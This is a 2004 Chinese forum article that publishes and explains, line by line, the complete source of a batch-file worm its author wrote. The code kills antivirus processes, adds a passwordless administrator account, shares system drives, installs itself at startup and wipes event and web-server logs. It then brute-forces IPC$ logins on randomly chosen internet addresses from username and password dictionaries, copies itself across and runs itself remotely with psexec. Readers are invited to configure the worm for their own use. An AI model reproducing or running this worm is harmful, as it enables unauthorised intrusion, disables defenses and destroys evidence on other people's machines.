分析一个用批处理编写的蠕虫 【字体:小 大】
分析一个用批处理编写的蠕虫
作者:红衣刺客 文章来源:IDS网络安全小组 点击数:1443 更新时间:2004-8-27
前几天闲来无事,用批处理写了蠕虫。把源代码公布出来分析一下。希望大家共同进步。
源代码如下(把下面的代码保存为Rundll32.bat):
REM -----IPC Worm V2.0 -----
REM ########################
REM 配置部分
SET addadmin=worm
SET SORI=1
SET ADDR1=254
SET ADDR2=254
SET ADDR3=254
SET ADDR4=254
SET WORM=Rundll32.bat
REM #######################
Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
PSK Rfw.exe
PSK KAVPFW.exe
PSK KAV9X.exe
PSK VPC32.exe
PSK PFW.exe
PSK RavMon.exe
net user %addadmin% /add
IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
net share ipc$
net share admin$
net share C$=c:\
net share D$=d:\
net share E$=e:\
net share F$=f:\
del %windir%\system32\logfiles\w3svc1\*.* /f /q
del %windir%\system32\logfiles\w3svc2\*.* /f /q
del %windir%\system32\config\*.event /f /q
del %windir%\system32dtclog\*.* /f /q
del %windir%\*.txt /f /q
del %windir%\*.log /f /q
:IPADDRESS
IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%
IF %SORI%==3 (
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==2 (
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==1 (
SET /A ADDR1=%RANDOM% %% %ADDR1%
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
GOTO IPADDRESS
:RUN
COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
IF errorlevel 1 GOTO ERR
COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
PS \\%ADDRESS% %windir%\system32\%WORM%
NET USE \\%ADDRESS%\IPC$ /DEL
GOTO IPADDRESS
这里面用到了pskill, psexec 这两个小工具和两个猜解用户密码的字典文件U.txt 和 P.txt。
这只蠕虫(IPC worm)的功能:
1、杀死本地杀毒程序的进程。(可以杀掉瑞星、金山、天网和赛门铁克。)
2、在本地添加一个用户,用户名可以自定义,密码为空。
3. 把自身复制到启动项。
4. 共享C D E F 盘。
4、随即生成一个IP地址。 (可以自由定义IP范围)
5、扫描弱口令。
7、复制自身到目标主机,并执行。
由于防止使用者恶意破坏。只编写了感染部分和传播部分,没有对破坏部分进行编写。现在只可以定义为一条共享蠕虫。
分析:
REM 配置部分
REM addadmin=worm
你要建立的用户,默认为worm
SET ADDR1=254
循环IP第一部分
SET ADDR2=254
循环IP第二部分
SET ADDR3=254
循环IP第三部分
SET ADDR4=254
循环IP第四部分
SET SORI=1
随机开关,如果是4则以第四部分为上限,生成192.168.0.1—192.168.0.255中的随机地址,如果为3,则第三部分和第四部分都是随机,以此类推。默认为0.0.0.0-254.254.254.254之内的随机IP,也就是全世界,当然大家可以自己配置IP范围。
SET WORM=Rundll32.bat
定义蠕虫的名称,默认为Rundll32.bat。
这一段为配置部分,大家可以根据自己的需求和喜好配置自己的小虫虫。下面开始对这个蠕虫的行为进行分析。
Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
把自身复制到启动项Autoexec.bat和Winstart.bat中,双保险,呵呵,够黑吧!
PSK Rfw.exe
PSK KAVPFW.exe
PSK KAV9X.exe
PSK VPC32.exe
PSK PFW.exe
PSK RavMon.exe
杀掉反病毒进程,用到了pkill这个小工具,这里改名为PSK。
net user %addadmin% /add
IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
建立你所要建立的用户名,并把其加入管理员组。
net share ipc$
net share admin$
net share C$=c:\
net share D$=d:\
net share E$=e:\
net share F$=f:\
共享C D E F 盘。当然你还可以再添加。格式:net share 共享名=共享硬盘。
del %windir%\system32\logfiles\w3svc1\*.* /f /q
del %windir%\system32\logfiles\w3svc2\*.* /f /q
del %windir%\system32\config\*.event /f /q
del %windir%\system32dtclog\*.* /f /q
del %windir%\*.txt /f /q
del %windir%\*.log /f /q
清除所有日志,呵呵,管理员不要吐血哦
下面就到了精彩的传播部分
:IPADDRESS
IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%
IF %SORI%==3 (
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==2 (
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==1 (
SET /A ADDR1=%RANDOM% %% %ADDR1%
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
随机生成IP地址,如果SORI的值为1,则循环IP第四部分,如果SORI的值为2,则循环IP第四部分和第三部分,依此类推。ADDRESS定义为随机IP部分的这里用到了RANDOM这个随机函数,建议大家看看Windows的帮助。
FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
GOTO IPADDRESS (也就是重新随机定义IP)
呵呵,绝对经典的一句,用了For的双层循环猜解用户名和密码(U.txt为用户字典,P.txt为密码字典),如果正确GOTO RUN,错误GOTO IPADDRESS。建议大家好好琢磨琢磨这一句话。
:RUN
COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
IF errorlevel 1 GOTO ERR
COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
PS \\%ADDRESS% %windir%\system32\%WORM%
RUN部分,建立IPC$成功后把自身复制到目标IP的SYSTEM32目录下,并用psexec远程执行蠕虫主体(这里为PS)。
NET USE \\%ADDRESS%\IPC$ /DEL
GOTO IPADDRESS
删除IPC$联接
我想通过我的分析,大家应该会对批处理有些了解,也大概明白了蠕虫病毒的行为特点。现在还存在一个问题,就是无法实现随机IP段。如果你有什么好的建议或者想法,欢迎与我联系。我的QQ是158017079。